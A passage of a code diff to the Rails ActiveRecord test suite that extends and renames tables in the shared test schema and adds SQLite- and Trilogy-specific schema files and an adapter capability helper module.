   create_table :computers_developers, id: false, force: true do |t|
     t.references :computer
     t.references :developer
+    t.timestamps
   end
 
   create_table :contracts, force: true do |t|
-    t.integer :developer_id
-    t.integer :company_id
+    t.references :developer, index: false
+    t.references :company, index: false
+    t.string :metadata
+    t.integer :count
   end
 
   create_table :customers, force: true do |t|
@@ -255,23 +501,63 @@
     t.string :name
   end
 
+  create_table :destroy_async_parents, force: true, id: false do |t|
+    t.primary_key :parent_id
+    t.string :name
+    t.integer :tags_count, default: 0
+  end
+
+  create_table :destroy_async_parent_soft_deletes, force: true do |t|
+    t.integer :tags_count, default: 0
+    t.boolean :deleted
+  end
+
+  create_table :discounts, force: true do |t|
+    t.integer :amount
+  end
+
+  create_table :dl_keyed_belongs_tos, force: true, id: false do |t|
+    t.primary_key :belongs_key
+    t.references :destroy_async_parent
+  end
+
+  create_table :dl_keyed_belongs_to_soft_deletes, force: true do |t|
+    t.references :destroy_async_parent_soft_delete, index: { name: :soft_del_parent }
+    t.boolean :deleted
+  end
+
+  create_table :dl_keyed_has_ones, force: true, id: false do |t|
+    t.primary_key :has_one_key
+
+    t.references :destroy_async_parent
+    t.references :destroy_async_parent_soft_delete
+  end
+
+  create_table :dl_keyed_has_manies, force: true, id: false do |t|
+    t.primary_key :many_key
+    t.references :destroy_async_parent
+  end
+
+  create_table :dl_keyed_has_many_throughs, force: true, id: false do |t|
+    t.primary_key :through_key
+  end
+
+  create_table :dl_keyed_joins, force: true, id: false do |t|
+    t.primary_key :joins_key
+    t.references :destroy_async_parent
+    t.references :dl_keyed_has_many_through
+  end
+
   create_table :developers, force: true do |t|
     t.string   :name
     t.string   :first_name
     t.integer  :salary, default: 70000
-    t.integer :firm_id
+    t.references :firm, index: false
     t.integer :mentor_id
-    if subsecond_precision_supported?
-      t.datetime :created_at, precision: 6
-      t.datetime :updated_at, precision: 6
-      t.datetime :created_on, precision: 6
-      t.datetime :updated_on, precision: 6
-    else
-      t.datetime :created_at
-      t.datetime :updated_at
-      t.datetime :created_on
-      t.datetime :updated_on
-    end
+    t.datetime :legacy_created_at
+    t.datetime :legacy_updated_at
+    t.datetime :legacy_created_on
+    t.datetime :legacy_updated_on
   end
 
   create_table :developers_projects, force: true, id: false do |t|
@@ -305,21 +591,44 @@
     t.index [:source_id, :sink_id], unique: true, name: "unique_edge_index"
   end
 
+  create_table :editorships, force: true do |t|
+    t.string :publication_id
+    t.string :editor_id
+  end
+
+  create_table :editors, force: true do |t|
+    t.string :name
+  end
+
   create_table :engines, force: true do |t|
     t.references :car, index: false
   end
 
+  create_table :enrollments, force: true do |t|
+    t.integer  :program_id
+    t.integer  :member_id
+  end
+
   create_table :entrants, force: true do |t|
     t.string  :name, null: false
     t.integer :course_id, null: false
   end
 
+  create_table :entries, force: true do |t|
+    t.string   :entryable_type, null: false
+    t.integer  :entryable_id, null: false
+    t.integer  :account_id, null: false
+    t.datetime :updated_at
+  end
+
   create_table :essays, force: true do |t|
+    t.string :type
     t.string :name
     t.string :writer_id
     t.string :writer_type
     t.string :category_id
     t.string :author_id
+    t.references :book
   end
 
   create_table :events, force: true do |t|
@@ -338,6 +647,10 @@
     t.string :token
   end
 
+  create_table :frogs, force: true do |t|
+    t.string :name
+  end
+
   create_table :funny_jokes, force: true do |t|
     t.string :name
   end
@@ -383,11 +696,7 @@
 
   create_table :invoices, force: true do |t|
     t.integer :balance
-    if subsecond_precision_supported?
-      t.datetime :updated_at, precision: 6
-    else
-      t.datetime :updated_at
-    end
+    t.datetime :updated_at
   end
 
   create_table :iris, force: true do |t|
@@ -413,6 +722,9 @@
     t.string      :name
   end
 
+  create_table :kitchens, force: true do |t|
+  end
+
   create_table :legacy_things, force: true do |t|
     t.integer :tps_report_number
     t.integer :version, null: false, default: 0
@@ -433,7 +745,7 @@
     t.integer :college_id
   end
 
-  add_foreign_key :lessons_students, :students, on_delete: :cascade
+  add_foreign_key :lessons_students, :students, on_delete: :cascade, deferrable: :immediate
 
   create_table :lint_models, force: true
 
@@ -442,6 +754,11 @@
     t.integer :amount
   end
 
+  create_table :line_item_discount_applications, force: true do |t|
+    t.integer :line_item_id
+    t.integer :discount_id
+  end
+
   create_table :lions, force: true do |t|
     t.integer :gender
     t.boolean :is_vegetarian, default: false
@@ -450,11 +767,13 @@
   create_table :lock_without_defaults, force: true do |t|
     t.column :title, :string
     t.column :lock_version, :integer
+    t.timestamps null: true
   end
 
   create_table :lock_without_defaults_cust, force: true do |t|
     t.column :title, :string
     t.column :custom_lock_version, :integer
+    t.timestamps null: true
   end
 
   create_table :magazines, force: true do |t|
@@ -468,7 +787,8 @@
 
   create_table :members, force: true do |t|
     t.string :name
-    t.integer :member_type_id
+    t.references :member_type, index: false
+    t.references :admittable, polymorphic: true, index: false
   end
 
   create_table :member_details, force: true do |t|
@@ -485,8 +805,10 @@
   create_table :memberships, force: true do |t|
     t.datetime :joined_on
     t.integer :club_id, :member_id
-    t.boolean :favourite, default: false
-    t.string :type
+    t.boolean :favorite, default: false
+    t.integer :type
+    t.datetime :created_at
+    t.datetime :updated_at
   end
 
   create_table :member_types, force: true do |t|
@@ -497,6 +819,11 @@
     t.string :name
   end
 
+  create_table :messages, force: true do |t|
+    t.string   :subject
+    t.datetime :updated_at
+  end
+
   create_table :minivans, force: true, id: false do |t|
     t.string :minivan_id
     t.string :name
@@ -505,6 +832,7 @@
   end
 
   create_table :minimalistics, force: true do |t|
+    t.bigint :expires_at
   end
 
   create_table :mixed_case_monkeys, force: true, id: false do |t|
@@ -523,6 +851,10 @@
     t.string   :type
   end
 
+  create_table :mice, force: true do |t|
+    t.string   :name
+  end
+
   create_table :movies, force: true, id: false do |t|
     t.primary_key :movieid
     t.string      :name
@@ -535,18 +867,16 @@
   create_table :numeric_data, force: true do |t|
     t.decimal :bank_balance, precision: 10, scale: 2
     t.decimal :big_bank_balance, precision: 15, scale: 2
-    t.decimal :world_population, precision: 10, scale: 0
+    t.decimal :unscaled_bank_balance, precision: 10
+    t.decimal :world_population, precision: 20, scale: 0
     t.decimal :my_house_population, precision: 2, scale: 0
+    t.decimal :decimal_number
     t.decimal :decimal_number_with_default, precision: 3, scale: 2, default: 2.78
+    t.numeric :numeric_number
     t.float   :temperature
-    # Oracle/SQLServer supports precision up to 38
-    if current_adapter?(:OracleAdapter, :SQLServerAdapter)
-      t.decimal :atoms_in_universe, precision: 38, scale: 0
-    elsif current_adapter?(:FbAdapter)
-      t.decimal :atoms_in_universe, precision: 18, scale: 0
-    else
-      t.decimal :atoms_in_universe, precision: 55, scale: 0
-    end
+    t.float   :temperature_with_limit, limit: 24
+    t.decimal :decimal_number_big_precision, precision: 20
+    t.decimal :atoms_in_universe, precision: 55, scale: 0
   end
 
   create_table :orders, force: true do |t|
@@ -561,11 +891,7 @@
 
   create_table :owners, primary_key: :owner_id, force: true do |t|
     t.string :name
-    if subsecond_precision_supported?
-      t.column :updated_at, :datetime, precision: 6
-    else
-      t.column :updated_at, :datetime
-    end
+    t.column :updated_at, :datetime
     t.column :happy_at,   :datetime
     t.string :essay_id
   end
@@ -578,33 +904,51 @@
     t.integer :non_poly_two_id
   end
 
-  create_table :parrots, force: true do |t|
-    t.column :name, :string
-    t.column :color, :string
-    t.column :parrot_sti_class, :string
-    t.column :killer_id, :integer
-    t.column :updated_count, :integer, default: 0
-    if subsecond_precision_supported?
-      t.column :created_at, :datetime, precision: 0
-      t.column :created_on, :datetime, precision: 0
-      t.column :updated_at, :datetime, precision: 0
-      t.column :updated_on, :datetime, precision: 0
-    else
-      t.column :created_at, :datetime
-      t.column :created_on, :datetime
-      t.column :updated_at, :datetime
-      t.column :updated_on, :datetime
+  disable_referential_integrity do
+    create_table :parrots, force: :cascade do |t|
+      t.string :name
+      t.integer :breed, default: 0
+      t.string :color
+      t.string :parrot_sti_class
+      t.integer :killer_id
+      t.integer :updated_count, :integer, default: 0
+      t.datetime :created_at, precision: 0
+      t.datetime :created_on, precision: 0
+      t.datetime :updated_at, precision: 0
+      t.datetime :updated_on, precision: 0
     end
-  end
 
-  create_table :parrots_pirates, id: false, force: true do |t|
-    t.column :parrot_id, :integer
-    t.column :pirate_id, :integer
-  end
+    create_table :pirates, force: :cascade do |t|
+      t.string :catchphrase
+      t.integer :parrot_id
+      t.integer :non_validated_parrot_id
+      t.datetime :created_on
+      t.datetime :updated_on
+    end
 
-  create_table :parrots_treasures, id: false, force: true do |t|
-    t.column :parrot_id, :integer
-    t.column :treasure_id, :integer
+    create_table :treasures, force: :cascade do |t|
+      t.string :name
+      t.string :type
+      t.references :looter, polymorphic: true
+      t.references :ship
+    end
+
+    create_table :parrots_pirates, id: false, force: true do |t|
+      t.references :parrot, foreign_key: true
+      t.references :pirate, foreign_key: true
+    end
+
+    # used by tests that do `Parrot.has_and_belongs_to_many :treasures` (the default)
+    create_table :parrots_treasures, id: false, force: true do |t|
+      t.references :parrot, foreign_key: true
+      t.references :treasure, foreign_key: true
+    end
+
+    # used by tests that do `Parrot.has_many :treasures, through: :parrot_treasures`, and don't want to override the through relation's `table_name`
+    create_table :parrot_treasures, id: false, force: true do |t|
+      t.references :parrot, foreign_key: true
+      t.references :treasure, foreign_key: true
+    end
   end
 
   create_table :people, force: true do |t|
@@ -620,6 +964,7 @@
     t.references :best_friend_of
     t.integer    :insures, null: false, default: 0
     t.timestamp :born_at
+    t.integer :cars_count, default: 0
     t.timestamps null: false
   end
 
@@ -637,11 +982,7 @@
   create_table :pets, primary_key: :pet_id, force: true do |t|
     t.string :name
     t.integer :owner_id, :integer
-    if subsecond_precision_supported?
-      t.timestamps null: false, precision: 6
-    else
-      t.timestamps null: false
-    end
+    t.timestamps
   end
 
   create_table :pets_treasures, force: true do |t|
@@ -650,38 +991,29 @@
     t.column :rainbow_color, :string
   end
 
-  create_table :pirates, force: true do |t|
-    t.column :catchphrase, :string
-    t.column :parrot_id, :integer
-    t.integer :non_validated_parrot_id
-    if subsecond_precision_supported?
-      t.column :created_on, :datetime, precision: 6
-      t.column :updated_on, :datetime, precision: 6
-    else
-      t.column :created_on, :datetime
-      t.column :updated_on, :datetime
-    end
-  end
-
   create_table :posts, force: true do |t|
     t.references :author
     t.string :title, null: false
-    # use VARCHAR2(4000) instead of CLOB datatype as CLOB data type has many limitations in
-    # Oracle SELECT WHERE clause which causes many unit test failures
-    if current_adapter?(:OracleAdapter)
-      t.string  :body, null: false, limit: 4000
-    else
-      t.text    :body, null: false
-    end
+    t.text    :body, null: false
     t.string  :type
-    t.integer :comments_count, default: 0
+    t.integer :legacy_comments_count, default: 0
     t.integer :taggings_with_delete_all_count, default: 0
     t.integer :taggings_with_destroy_count, default: 0
     t.integer :tags_count, default: 0
+    t.integer :indestructible_tags_count, default: 0
     t.integer :tags_with_destroy_count, default: 0
     t.integer :tags_with_nullify_count, default: 0
   end
 
+  create_table :postesques, force: true do |t|
+    t.string :author_name
+    t.string :author_id
+  end
+
+  create_table :post_comments_counts, force: true do |t|
+    t.integer :comments_count, default: 0
+  end
+
   create_table :serialized_posts, force: true do |t|
     t.integer :author_id
     t.string :title, null: false
@@ -696,14 +1028,29 @@
     t.string :estimate_of_type
     t.integer :estimate_of_id
     t.integer :price
+    t.string :currency
   end
 
   create_table :products, force: true do |t|
     t.references :collection
     t.references :type
-    t.string     :name
+    t.string :name
+    t.decimal :price
+    t.decimal :discounted_price
+  end
+
+  create_table :program_offerings, force: true do |t|
+    t.integer  :club_id
+    t.integer  :program_id
+    t.datetime :start_date
   end
 
+  create_table :programs, force: true do |t|
+    t.string   :name
+  end
+
+  add_check_constraint :products, "price > discounted_price", name: "products_price_check"
+
   create_table :product_types, force: true do |t|
     t.string :name
   end
@@ -711,10 +1058,15 @@
   create_table :projects, force: true do |t|
     t.string :name
     t.string :type
-    t.integer :firm_id
+    t.references :firm, index: false
     t.integer :mentor_id
   end
 
+  create_table :publications, force: true do |t|
+    t.column :name, :string
+    t.integer :editor_in_chief_id
+  end
+
   create_table :randomly_named_table1, force: true do |t|
     t.string  :some_attribute
     t.integer :another_attribute
@@ -745,10 +1097,35 @@
   create_table :references, force: true do |t|
     t.integer :person_id
     t.integer :job_id
-    t.boolean :favourite
+    t.boolean :favorite
     t.integer :lock_version, default: 0
   end
 
+  create_table :rooms, force: true do |t|
+    t.references :user
+    t.references :owner
+    t.references :landlord
+    t.references :tenant
+  end
+
+  disable_referential_integrity do
+    create_table :seminars, force: :cascade do |t|
+      t.string :name
+    end
+
+    create_table :sessions, force: :cascade do |t|
+      t.date :start_date
+      t.date :end_date
+      t.string :name
+    end
+
+    create_table :sections, force: :cascade do |t|
+      t.string :short_name
+      t.belongs_to :session, foreign_key: true
+      t.belongs_to :seminar, foreign_key: true
+    end
+  end
+
   create_table :shape_expressions, force: true do |t|
     t.string  :paint_type
     t.integer :paint_id
@@ -756,6 +1133,16 @@
     t.integer :shape_id
   end
 
+  create_table :shipping_lines, force: true do |t|
+    t.integer :invoice_id
+    t.integer :amount
+  end
+
+  create_table :shipping_line_discount_applications, force: true do |t|
+    t.integer :shipping_line_id
+    t.integer :discount_id
+  end
+
   create_table :ships, force: true do |t|
     t.string :name
     t.integer :pirate_id
@@ -772,17 +1159,21 @@
   create_table :ship_parts, force: true do |t|
     t.string :name
     t.integer :ship_id
-    if subsecond_precision_supported?
-      t.datetime :updated_at, precision: 6
-    else
-      t.datetime :updated_at
-    end
+    t.datetime :updated_at
+  end
+
+  create_table :squeaks, force: true do |t|
+    t.integer :mouse_id
   end
 
   create_table :prisoners, force: true do |t|
     t.belongs_to :ship
   end
 
+  create_table :sinks, force: true do |t|
+    t.references :kitchen
+  end
+
   create_table :shop_accounts, force: true do |t|
     t.references :customer
     t.references :customer_carrier
@@ -796,20 +1187,23 @@
 
   create_table :sponsors, force: true do |t|
     t.integer :club_id
-    t.integer :sponsorable_id
-    t.string :sponsorable_type
+    t.references :sponsorable, polymorphic: true, index: false
+    t.references :sponsor, polymorphic: true, index: false
   end
 
-  create_table :string_key_objects, id: false, primary_key: :id, force: true do |t|
-    t.string     :id
-    t.string     :name
-    t.integer    :lock_version, null: false, default: 0
+  create_table :string_key_objects, id: false, force: true do |t|
+    t.string :id, null: false
+    t.string :name
+    t.integer :lock_version, null: false, default: 0
+    t.index :id, unique: true
   end
 
-  create_table :subscribers, force: true, id: false do |t|
+  create_table :subscribers, id: false, force: true do |t|
     t.string :nick, null: false
     t.string :name
-    t.column :books_count, :integer, null: false, default: 0
+    t.integer :id
+    t.integer :books_count, null: false, default: 0
+    t.integer :update_count, null: false, default: 0
     t.index :nick, unique: true
   end
 
@@ -829,6 +1223,7 @@
     t.column :taggable_type, :string
     t.column :taggable_id, :integer
     t.string :comment
+    t.string :type
   end
 
   create_table :tasks, force: true do |t|
@@ -840,22 +1235,12 @@
     t.string   :title, limit: 250
     t.string   :author_name
     t.string   :author_email_address
-    if subsecond_precision_supported?
-      t.datetime :written_on, precision: 6
-    else
-      t.datetime :written_on
-    end
+    t.datetime :written_on
     t.time     :bonus_time
     t.date     :last_read
-    # use VARCHAR2(4000) instead of CLOB datatype as CLOB data type has many limitations in
-    # Oracle SELECT WHERE clause which causes many unit test failures
-    if current_adapter?(:OracleAdapter)
-      t.string   :content, limit: 4000
-      t.string   :important, limit: 4000
-    else
-      t.text     :content
-      t.text     :important
-    end
+    t.text     :content
+    t.text     :important
+    t.blob     :binary_content
     t.boolean  :approved, default: true
     t.integer  :replies_count, default: 0
     t.integer  :unique_replies_count, default: 0
@@ -863,11 +1248,8 @@
     t.string   :parent_title
     t.string   :type
     t.string   :group
-    if subsecond_precision_supported?
-      t.timestamps null: true, precision: 6
-    else
-      t.timestamps null: true
-    end
+    t.timestamps null: true
+    t.index [:author_name, :title]
   end
 
   create_table :toys, primary_key: :toy_id, force: true do |t|
@@ -884,12 +1266,11 @@
     t.datetime :updated_at
   end
 
-  create_table :treasures, force: true do |t|
-    t.column :name, :string
-    t.column :type, :string
-    t.column :looter_id, :integer
-    t.column :looter_type, :string
-    t.belongs_to :ship
+  create_table :translations, force: true do |t|
+    t.string :locale, null: false
+    t.string :key, null: false
+    t.string :value, null: false
+    t.references :attachment
   end
 
   create_table :tuning_pegs, force: true do |t|
@@ -897,10 +1278,17 @@
     t.float :pitch
   end
 
-  create_table :tyres, force: true do |t|
+  create_table :tires, force: true do |t|
     t.integer :car_id
   end
 
+  create_table :unused_destroy_asyncs, force: true do |t|
+  end
+
+  create_table :unused_belongs_to, force: true do |t|
+    t.belongs_to :unused_destroy_async
+  end
+
   create_table :variants, force: true do |t|
     t.references :product
     t.string     :name
@@ -915,29 +1303,30 @@
   end
 
   [:circles, :squares, :triangles, :non_poly_ones, :non_poly_twos].each do |t|
-    create_table(t, force: true) {}
+    create_table(t, force: true) { }
   end
 
-  create_table :men, force: true do |t|
+  create_table :humans, force: true do |t|
     t.string  :name
   end
 
   create_table :faces, force: true do |t|
     t.string  :description
-    t.integer :man_id
-    t.integer :polymorphic_man_id
-    t.string  :polymorphic_man_type
-    t.integer :poly_man_without_inverse_id
-    t.string  :poly_man_without_inverse_type
-    t.integer :horrible_polymorphic_man_id
-    t.string  :horrible_polymorphic_man_type
+    t.integer :human_id
+    t.integer :polymorphic_human_id
+    t.string  :polymorphic_human_type
+    t.integer :poly_human_without_inverse_id
+    t.string  :poly_human_without_inverse_type
+    t.integer :puzzled_polymorphic_human_id
+    t.string  :puzzled_polymorphic_human_type
+    t.references :super_human, polymorphic: true, index: false
   end
 
   create_table :interests, force: true do |t|
     t.string :topic
-    t.integer :man_id
-    t.integer :polymorphic_man_id
-    t.string :polymorphic_man_type
+    t.integer :human_id
+    t.integer :polymorphic_human_id
+    t.string :polymorphic_human_type
     t.integer :zine_id
   end
 
@@ -945,18 +1334,25 @@
     t.string :title
   end
 
+  create_table :strict_zines, force: true do |t|
+    t.string :title
+  end
+
   create_table :wheels, force: true do |t|
+    t.integer :size
     t.references :wheelable, polymorphic: true
   end
 
-  create_table :countries, force: true, id: false, primary_key: "country_id" do |t|
-    t.string :country_id
+  create_table :countries, force: true, id: false do |t|
+    t.string :country_id, primary_key: true
     t.string :name
   end
-  create_table :treaties, force: true, id: false, primary_key: "treaty_id" do |t|
-    t.string :treaty_id
+
+  create_table :treaties, force: true, id: false do |t|
+    t.string :treaty_id, primary_key: true
     t.string :name
   end
+
   create_table :countries_treaties, force: true, primary_key: [:country_id, :treaty_id] do |t|
     t.string :country_id, null: false
     t.string :treaty_id, null: false
@@ -998,6 +1394,7 @@
   create_table :cake_designers, force: true do |t|
   end
   create_table :drink_designers, force: true do |t|
+    t.string :name
   end
   create_table :chefs, force: true do |t|
     t.integer :employable_id
@@ -1005,12 +1402,18 @@
     t.integer :department_id
     t.string :employable_list_type
     t.integer :employable_list_id
+    t.timestamps
   end
   create_table :recipes, force: true do |t|
     t.integer :chef_id
     t.integer :hotel_id
   end
 
+  create_table :recipients, force: true do |t|
+    t.integer  :message_id
+    t.string   :email_address
+  end
+
   create_table :records, force: true do |t|
   end
 
@@ -1024,16 +1427,35 @@
     end
   end
 
+  disable_referential_integrity do
+    create_table :fk_object_to_point_tos, force: :cascade do |t|
+    end
+
+    create_table :fk_pointing_to_non_existent_objects, force: true do |t|
+      t.references :fk_object_to_point_to, null: false, index: false
+      t.foreign_key :fk_object_to_point_tos, column: "fk_object_to_point_to_id", name: "fk_that_will_be_broken"
+    end
+  end
+
   create_table :overloaded_types, force: true do |t|
     t.float :overloaded_float, default: 500
     t.float :unoverloaded_float
     t.string :overloaded_string_with_limit, limit: 255
     t.string :string_with_default, default: "the original default"
+    t.string :inferred_string, limit: 255
+    t.datetime :starts_at, :ends_at
   end
 
   create_table :users, force: true do |t|
     t.string :token
     t.string :auth_token
+    t.string :password_digest
+    t.string :recovery_password_digest
+    t.timestamps null: true
+  end
+
+  create_table :user_comments_counts, force: true do |t|
+    t.integer :comments_count, default: 0
   end
 
   create_table :test_with_keyword_column_name, force: true do |t|
@@ -1042,25 +1464,31 @@
 
   create_table :non_primary_keys, force: true, id: false do |t|
     t.integer :id
+    t.datetime :created_at
+  end
+
+  create_table :toooooooooooooooooooooooooooooooooo_long_table_names, force: true do |t|
+    t.bigint :toooooooo_long_a_id, null: false
+    t.bigint :toooooooo_long_b_id, null: false
   end
 end
 
-Course.connection.create_table :courses, force: true do |t|
+Course.lease_connection.create_table :courses, force: true do |t|
   t.column :name, :string, null: false
-  t.column :college_id, :integer
+  t.column :college_id, :integer, index: true
 end
 
-College.connection.create_table :colleges, force: true do |t|
+College.lease_connection.create_table :colleges, force: true do |t|
   t.column :name, :string, null: false
 end
 
-Professor.connection.create_table :professors, force: true do |t|
+Professor.lease_connection.create_table :professors, force: true do |t|
   t.column :name, :string, null: false
 end
 
-Professor.connection.create_table :courses_professors, id: false, force: true do |t|
+Professor.lease_connection.create_table :courses_professors, id: false, force: true do |t|
   t.references :course
   t.references :professor
 end
 
-OtherDog.connection.create_table :dogs, force: true
+OtherDog.lease_connection.create_table :dogs, force: true
diff --git a/activerecord/test/schema/sqlite_specific_schema.rb b/activerecord/test/schema/sqlite_specific_schema.rb
new file mode 100644
index 0000000000000..7781efd3afb59
--- /dev/null
+++ b/activerecord/test/schema/sqlite_specific_schema.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+ActiveRecord::Schema.define do
+  create_table :defaults, force: true do |t|
+      t.integer :random_number, default: -> { "ABS(RANDOM())" }
+      t.string :ruby_on_rails, default: -> { "('Ruby ' || 'on ' || 'Rails')" }
+      t.date :modified_date, default: -> { "CURRENT_DATE" }
+      t.date :modified_date_function, default: -> { "DATE('now')" }
+      t.date :fixed_date, default: "2004-01-01"
+      t.datetime :modified_time, default: -> { "CURRENT_TIMESTAMP" }
+      t.datetime :modified_time_without_precision, precision: nil, default: -> { "CURRENT_TIMESTAMP" }
+      t.datetime :modified_time_with_precision_0, precision: 0, default: -> { "CURRENT_TIMESTAMP" }
+      t.datetime :modified_time_function, default: -> { "DATETIME('now')" }
+      t.datetime :fixed_time, default: "2004-01-01 00:00:00.000000-00"
+      t.column :char1, "char(1)", default: "Y"
+      t.string :char2, limit: 50, default: "a varchar field"
+      t.text :char3, default: "a text field"
+      t.text :multiline_default, default: "--- []
+
+"
+    end
+end
diff --git a/activerecord/test/schema/trilogy_specific_schema.rb b/activerecord/test/schema/trilogy_specific_schema.rb
new file mode 100644
index 0000000000000..320911dbd9ad5
--- /dev/null
+++ b/activerecord/test/schema/trilogy_specific_schema.rb
@@ -0,0 +1,96 @@
+# frozen_string_literal: true
+
+ActiveRecord::Schema.define do
+  create_table :datetime_defaults, force: true do |t|
+    t.datetime :modified_datetime, precision: nil, default: -> { "CURRENT_TIMESTAMP" }
+    t.datetime :precise_datetime, default: -> { "CURRENT_TIMESTAMP(6)" }
+    t.datetime :updated_datetime, default: -> { "CURRENT_TIMESTAMP(6) ON UPDATE CURRENT_TIMESTAMP(6)" }
+  end
+
+  create_table :timestamp_defaults, force: true do |t|
+    t.timestamp :nullable_timestamp
+    t.timestamp :modified_timestamp, precision: nil, default: -> { "CURRENT_TIMESTAMP" }
+    t.timestamp :precise_timestamp, precision: 6, default: -> { "CURRENT_TIMESTAMP(6)" }
+    t.timestamp :updated_timestamp, precision: 6, default: -> { "CURRENT_TIMESTAMP(6) ON UPDATE CURRENT_TIMESTAMP(6)" }
+  end
+
+  create_table :defaults, force: true do |t|
+    t.date :fixed_date, default: "2004-01-01"
+    t.datetime :fixed_time, default: "2004-01-01 00:00:00"
+    t.column :char1, "char(1)", default: "Y"
+    t.string :char2, limit: 50, default: "a varchar field"
+    if ActiveRecord::TestCase.supports_default_expression?
+      t.binary :uuid, limit: 36, default: -> { "(uuid())" }
+      t.string :char2_concatenated, default: -> { "(concat(`char2`, '-'))" }
+    end
+  end
+
+  create_table :binary_fields, force: true do |t|
+    t.binary :var_binary, limit: 255
+    t.binary :var_binary_large, limit: 4095
+
+    t.tinyblob   :tiny_blob
+    t.blob       :normal_blob
+    t.mediumblob :medium_blob
+    t.longblob   :long_blob
+    t.tinytext   :tiny_text
+    t.text       :normal_text
+    t.mediumtext :medium_text
+    t.longtext   :long_text
+
+    t.binary :tiny_blob_2, size: :tiny
+    t.binary :medium_blob_2, size: :medium
+    t.binary :long_blob_2, size: :long
+    t.text :tiny_text_2, size: :tiny
+    t.text :medium_text_2, size: :medium
+    t.text :long_text_2, size: :long
+
+    t.index :var_binary
+  end
+
+  create_table :key_tests, force: true, options: "CHARSET=utf8 ENGINE=MyISAM" do |t|
+    t.string :awesome
+    t.string :pizza
+    t.string :snacks
+    t.index :awesome, type: :fulltext, name: "index_key_tests_on_awesome"
+    t.index :pizza, using: :btree, name: "index_key_tests_on_pizza"
+    t.index :snacks, name: "index_key_tests_on_snack"
+  end
+
+  create_table :collation_tests, id: false, force: true do |t|
+    t.string :string_cs_column, limit: 1, collation: "utf8mb4_bin"
+    t.string :string_ci_column, limit: 1, collation: "utf8mb4_general_ci"
+    t.binary :binary_column,    limit: 1
+  end
+
+  execute "DROP PROCEDURE IF EXISTS ten"
+
+  execute <<~SQL
+    CREATE PROCEDURE ten() SQL SECURITY INVOKER
+    BEGIN
+      SELECT 10;
+    END
+  SQL
+
+  execute "DROP PROCEDURE IF EXISTS topics"
+
+  execute <<~SQL
+    CREATE PROCEDURE topics(IN num INT) SQL SECURITY INVOKER
+    BEGIN
+      SELECT * FROM topics LIMIT num;
+    END
+  SQL
+
+  if supports_insert_returning?
+    create_table :pk_autopopulated_by_a_trigger_records, force: true, id: false do |t|
+      t.integer :id, null: false
+    end
+
+    execute <<~SQL
+      CREATE TRIGGER before_insert_trigger
+      BEFORE INSERT ON pk_autopopulated_by_a_trigger_records
+      FOR EACH ROW
+      SET NEW.id = (SELECT COALESCE(MAX(id), 0) + 1 FROM pk_autopopulated_by_a_trigger_records);
+    SQL
+  end
+end
diff --git a/activerecord/test/support/adapter_helper.rb b/activerecord/test/support/adapter_helper.rb
new file mode 100644
index 0000000000000..9952bb96862c4
--- /dev/null
+++ b/activerecord/test/support/adapter_helper.rb
@@ -0,0 +1,180 @@
+# frozen_string_literal: true
+
+module AdapterHelper
+  def current_adapter?(*types)
+    types.any? do |type|
+      ActiveRecord::ConnectionAdapters.const_defined?(type) &&
+        ActiveRecord::Base.connection_pool.db_config.adapter_class <= ActiveRecord::ConnectionAdapters.const_get(type)
+    end
+  end
+
+  def in_memory_db?
+    current_adapter?(:SQLite3Adapter) && ActiveRecord::Base.connection_pool.db_config.database == ":memory:"
+  end
+
+  def sqlite3_adapter_strict_strings_disabled?
+    current_adapter?(:SQLite3Adapter) && !ActiveRecord::Base.connection_pool.db_config.configuration_hash[:strict]
+  end
+
+  def mysql_enforcing_gtid_consistency?
+    current_adapter?(:Mysql2Adapter, :TrilogyAdapter) && "ON" == ActiveRecord::Base.lease_connection.show_variable("enforce_gtid_consistency")
+  end
+
+  def supports_default_expression?
+    if current_adapter?(:PostgreSQLAdapter)
+      true
+    elsif current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+      conn = ActiveRecord::Base.lease_connection
+      (conn.mariadb? && conn.database_version >= "10.2.1") ||
+        (!conn.mariadb? && conn.database_version >= "8.0.13")
+    end
+  end
+
+  def supports_non_unique_constraint_name?
+    if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+      conn = ActiveRecord::Base.lease_connection
+      conn.mariadb?
+    else
+      false
+    end
+  end
+
+  def supports_text_column_with_default?
+    if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+      conn = ActiveRecord::Base.lease_connection
+      conn.mariadb? && conn.database_version >= "10.2.1"
+    else
+      true
+    end
+  end
+
+  def supports_sql_standard_drop_constraint?
+    if current_adapter?(:SQLite3Adapter)
+      false
+    elsif current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+      conn = ActiveRecord::Base.lease_connection
+      if conn.mariadb?
+        conn.database_version >= "10.3.13"
+      else
+        conn.database_version >= "8.0.19"
+      end
+    else
+      true
+    end
+  end
+
+  %w[
+    supports_savepoints?
+    supports_partial_index?
+    supports_partitioned_indexes?
+    supports_expression_index?
+    supports_index_include?
+    supports_insert_returning?
+    supports_insert_on_duplicate_skip?
+    supports_insert_on_duplicate_update?
+    supports_insert_conflict_target?
+    supports_optimizer_hints?
+    supports_datetime_with_precision?
+    supports_nulls_not_distinct?
+    supports_identity_columns?
+    supports_virtual_columns?
+    supports_native_partitioning?
+  ].each do |method_name|
+    define_method method_name do
+      ActiveRecord::Base.lease_connection.public_send(method_name)
+    end
+  end
+
+  def enable_extension!(extension, connection)
+    return false unless connection.supports_extensions?
+    return connection.reconnect! if connection.extension_enabled?(extension)
+
+    connection.enable_extension extension
+    connection.commit_db_transaction if connection.transaction_open?
+    connection.reconnect!
+  end
+
+  def disable_extension!(extension, connection)
+    return false unless connection.supports_extensions?
+    return true unless connection.extension_enabled?(extension)
+
+    connection.disable_extension(extension, force: :cascade)
+    connection.reconnect!
+  end
+
+  # Detects whether the server side of the connection physically has a
+  # transaction open, independently of the adapter's opinion. Skips if we don't
+  # know how to detect this.
+  def raw_transaction_open?(connection)
+    if current_adapter?(:PostgreSQLAdapter)
+      connection.instance_variable_get(:@raw_connection).transaction_status == ::PG::PQTRANS_INTRANS
+    elsif current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+      begin
+        connection.instance_variable_get(:@raw_connection).query("SAVEPOINT transaction_test")
+        connection.instance_variable_get(:@raw_connection).query("RELEASE SAVEPOINT transaction_test")
+
+        true
+      rescue
+        false
+      end
+    elsif current_adapter?(:SQLite3Adapter)
+      begin
+        connection.instance_variable_get(:@raw_connection).transaction { nil }
+        false
+      rescue
+        true
+      end
+    else
+      skip("raw_transaction_open? unsupported")
+    end
+  end
+
